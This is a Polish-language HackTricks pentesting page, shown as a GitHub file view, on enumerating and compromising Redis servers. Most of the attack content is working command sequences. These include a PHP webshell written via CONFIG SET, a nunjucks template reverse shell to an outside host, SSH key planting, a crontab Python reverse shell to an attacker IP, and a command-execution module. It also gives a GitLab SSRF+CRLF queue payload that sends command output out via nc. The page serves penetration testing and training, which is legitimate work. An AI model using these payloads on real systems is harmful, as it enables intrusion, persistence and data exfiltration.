hacktricks/src/network-services-pentesting/6379-pentesting-redis.md

274 lines
15 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6379 - Pentesting Redis
{{#include ../banners/hacktricks-training.md}}
## Podstawowe informacje
Z [dokumentacji](https://redis.io/topics/introduction): Redis to otwarte źródło (licencja BSD), w pamięci **magazyn struktur danych**, używany jako **baza danych**, pamięć podręczna i broker wiadomości.
Domyślnie Redis używa protokołu opartego na czystym tekście, ale musisz pamiętać, że może również implementować **ssl/tls**. Dowiedz się, jak [uruchomić Redis z ssl/tls tutaj](https://fossies.org/linux/redis/TLS.md).
**Domyślny port:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## Automatyczna Enumeracja
Niektóre zautomatyzowane narzędzia, które mogą pomóc w uzyskaniu informacji z instancji redis:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
## Ręczna enumeracja
### Baner
Redis to **protokół oparty na tekście**, możesz po prostu **wysłać polecenie w gnieździe** i zwrócone wartości będą czytelne. Pamiętaj również, że Redis może działać z użyciem **ssl/tls** (ale to jest bardzo dziwne).
W standardowej instancji Redis możesz po prostu połączyć się za pomocą `nc` lub możesz również użyć `redis-cli`:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
Pierwszym poleceniem, które możesz spróbować, jest **`info`**. Może to zwrócić wynik z informacjami o instancji Redis **lub coś** takiego jak poniżej:
```
-NOAUTH Authentication required.
```
W tym ostatnim przypadku oznacza to, że **potrzebujesz ważnych poświadczeń** do uzyskania dostępu do instancji Redis.
### Uwierzytelnianie Redis
**Domyślnie** Redis można uzyskać **bez poświadczeń**. Jednak można go **skonfigurować** tak, aby obsługiwał **tylko hasło lub nazwę użytkownika + hasło**.\
Możliwe jest **ustawienie hasła** w pliku _**redis.conf**_ za pomocą parametru `requirepass` **lub tymczasowo** do momentu ponownego uruchomienia usługi, łącząc się z nią i wykonując: `config set requirepass p@ss$12E45`.\
Ponadto, **nazwa użytkownika** może być skonfigurowana w parametrze `masteruser` w pliku _**redis.conf**_.
> [!NOTE]
> Jeśli skonfigurowano tylko hasło, używana nazwa użytkownika to "**default**".\
> Należy również zauważyć, że **nie ma sposobu, aby zewnętrznie** ustalić, czy Redis został skonfigurowany tylko z hasłem, czy z nazwą użytkownika + hasłem.
W przypadkach takich jak ten będziesz **musiał znaleźć ważne poświadczenia**, aby interagować z Redis, więc możesz spróbować [**brute-force**](../generic-hacking/brute-force.md#redis).\
**W przypadku znalezienia ważnych poświadczeń musisz uwierzytelnić sesję** po nawiązaniu połączenia za pomocą polecenia:
```bash
AUTH <username> <password>
```
**Ważne dane uwierzytelniające** będą odpowiedziane: `+OK`
### **Uwierzytelniona enumeracja**
Jeśli serwer Redis zezwala na **anonimowe połączenia** lub jeśli uzyskałeś ważne dane uwierzytelniające, możesz rozpocząć proces enumeracji usługi, używając następujących **komend**:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**Inne polecenia Redis** [**można znaleźć tutaj**](https://redis.io/topics/data-types-intro) **i** [**tutaj**](https://lzone.de/cheat-sheet/Redis)**.**
Zauważ, że **polecenia Redis instancji mogą być zmieniane** lub usuwane w pliku _redis.conf_. Na przykład ta linia usunie polecenie FLUSHDB:
```
rename-command FLUSHDB ""
```
Więcej informacji na temat bezpiecznej konfiguracji usługi Redis tutaj: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
Możesz również **monitorować w czasie rzeczywistym polecenia Redis** wykonywane za pomocą polecenia **`monitor`** lub uzyskać **25 najwolniejszych zapytań** za pomocą **`slowlog get 25`**
Znajdź więcej interesujących informacji na temat poleceń Redis tutaj: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Zrzut bazy danych**
Wewnątrz Redis **bazy danych to liczby zaczynające się od 0**. Możesz sprawdzić, czy którakolwiek jest używana w wyniku polecenia `info` w sekcji "Keyspace":
![](<../images/image (766).png>)
Lub możesz po prostu uzyskać wszystkie **przestrzenie kluczy** (bazy danych) za pomocą:
```
INFO keyspace
```
W tym przykładzie używane są **bazy danych 0 i 1**. **Baza danych 0 zawiera 4 klucze, a baza danych 1 zawiera 1**. Domyślnie Redis używa bazy danych 0. Aby zrzucić na przykład bazę danych 1, musisz wykonać:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```
W przypadku wystąpienia następującego błędu `-WRONGTYPE Operation against a key holding the wrong kind of value` podczas uruchamiania `GET <KEY>`, może to być spowodowane tym, że klucz może być czymś innym niż ciąg lub liczba całkowita i wymaga specjalnego operatora do wyświetlenia.
Aby poznać typ klucza, użyj polecenia `TYPE`, przykład poniżej dla kluczy listy i hasha.
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
```
**Zrzut bazy danych za pomocą npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **lub python** [**redis-utils**](https://pypi.org/project/redis-utils/)
## Redis RCE
### Interaktywna powłoka
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) może automatycznie uzyskać interaktywną powłokę lub powłokę zwrotną w Redis(<=5.0.5).
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
Info z [**tutaj**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Musisz znać **ścieżkę** do **folderu strony internetowej**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```
Jeśli wystąpi wyjątek dostępu do webshella, możesz opróżnić bazę danych po wykonaniu kopii zapasowej i spróbować ponownie, pamiętaj, aby przywrócić bazę danych.
### Szablon Webshell
Podobnie jak w poprzedniej sekcji, możesz również nadpisać niektóry plik szablonu html, który będzie interpretowany przez silnik szablonów i uzyskać powłokę.
Na przykład, w oparciu o [**ten artykuł**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), możesz zobaczyć, że atakujący wstrzyknął **rev shell w html** interpretowany przez **silnik szablonów nunjucks:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
> [!WARNING]
> Zauważ, że **kilka silników szablonów buforuje** szablony w **pamięci**, więc nawet jeśli je nadpiszesz, nowy **nie zostanie wykonany**. W takich przypadkach albo deweloper pozostawił aktywne automatyczne przeładowanie, albo musisz przeprowadzić DoS na usłudze (i oczekiwać, że zostanie ona automatycznie uruchomiona ponownie).
### SSH
Przykład [stąd](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Proszę pamiętać, że wynik **`config get dir`** może się zmienić po innych ręcznych poleceniach eksploatacyjnych. Sugeruję uruchomić je jako pierwsze zaraz po zalogowaniu się do Redis. W wyniku **`config get dir`** możesz znaleźć **dom** użytkownika **redis** (zwykle _/var/lib/redis_ lub _/home/redis/.ssh_), a znając to, wiesz, gdzie możesz zapisać plik `authenticated_users`, aby uzyskać dostęp przez ssh **z użytkownikiem redis**. Jeśli znasz dom innego ważnego użytkownika, w którym masz uprawnienia do zapisu, możesz również to wykorzystać:
1. Wygeneruj parę kluczy publicznych i prywatnych ssh na swoim komputerze: **`ssh-keygen -t rsa`**
2. Zapisz klucz publiczny do pliku : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Importuj plik do redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Zapisz klucz publiczny do pliku **authorized_keys** na serwerze redis:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. Na koniec możesz **ssh** do **serwera redis** z kluczem prywatnym : **ssh -i id_rsa redis@10.85.0.52**
**Ta technika jest zautomatyzowana tutaj:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
Dodatkowo, użytkownicy systemowi mogą być również odkrywani przez sprawdzenie z `config set dir /home/USER`, a po potwierdzeniu nowy `authorized_keys` może być zapisany w `/home/USER/.ssh/authorized_keys`. Użyj [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh), aby przeprowadzić atak brute force z listą nazw użytkowników i nadpisać `authorized_keys`.
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
Ostatni przykład dotyczy Ubuntu, dla **Centos** powyższe polecenie powinno być: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
Ta metoda może być również używana do zarabiania bitcoinów [yam](https://www.v2ex.com/t/286981#reply14)
### Załaduj moduł Redis
1. Postępując zgodnie z instrukcjami z [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), możesz **skompilować moduł redis do wykonywania dowolnych poleceń**.
2. Następnie potrzebujesz sposobu na **przesłanie skompilowanego** modułu.
3. **Załaduj przesłany moduł** w czasie wykonywania za pomocą `MODULE LOAD /path/to/mymodule.so`.
4. **Wyświetl załadowane moduły**, aby sprawdzić, czy zostały poprawnie załadowane: `MODULE LIST`.
5. **Wykonaj** **polecenia**:
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. Rozładuj moduł, kiedy chcesz: `MODULE UNLOAD mymodule`.
### Ominięcie piaskownicy LUA
[**Tutaj**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) możesz zobaczyć, że Redis używa polecenia **EVAL** do wykonywania **kodów Lua w piaskownicy**. W powiązanym poście możesz zobaczyć **jak to wykorzystać** za pomocą funkcji **dofile**, ale [najwyraźniej](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) nie jest to już możliwe. Tak czy inaczej, jeśli możesz **ominąć piaskownicę Lua**, możesz **wykonywać dowolne** polecenia w systemie. Również z tego samego posta możesz zobaczyć kilka **opcji do spowodowania DoS**.
Niektóre **CVEs do ucieczki z LUA**:
- [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Moduł Master-Slave
Główny redis synchronizuje wszystkie operacje automatycznie z podrzędnym redis, co oznacza, że możemy traktować podatny redis jako podrzędny redis, połączony z głównym redis, który jest przez nas kontrolowany, a następnie możemy wprowadzić polecenie do naszego własnego redis.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF rozmawiając z Redis
Jeśli możesz wysłać **czysty tekst** żądanie **do Redis**, możesz **komunikować się z nim**, ponieważ Redis będzie czytał żądanie linia po linii i po prostu odpowie błędami na linie, których nie rozumie:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Zatem, jeśli znajdziesz **SSRF vuln** na stronie internetowej i możesz **kontrolować** niektóre **nagłówki** (może z wykorzystaniem luki **CRLF**) lub **parametry POST**, będziesz w stanie wysyłać dowolne polecenia do Redis.
### Przykład: Gitlab SSRF + CRLF do Shell
W **Gitlab11.4.7** odkryto lukę **SSRF** oraz **CRLF**. Luka **SSRF** znajdowała się w **funkcjonalności importu projektu z URL** podczas tworzenia nowego projektu i pozwalała na dostęp do dowolnych adresów IP w formie \[0:0:0:0:0:ffff:127.0.0.1] (to uzyska dostęp do 127.0.0.1), a luka **CRLF** została wykorzystana poprzez **dodanie %0D%0A** do **URL**.
W związku z tym, możliwe było **wykorzystanie tych luk do komunikacji z instancją Redis**, która **zarządza kolejkami** z **gitlab** i nadużycie tych kolejek w celu **uzyskania wykonania kodu**. Payload nadużycia kolejki Redis to:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
A **URL encode** żądanie **wykorzystujące SSRF** i **CRLF** do wykonania `whoami` i odesłania wyniku za pomocą `nc` to:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Z jakiegoś powodu (jak dla autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _skąd pochodzi ta informacja) wykorzystanie działało z schematem `git`, a nie z schematem `http`._
{{#include ../banners/hacktricks-training.md}}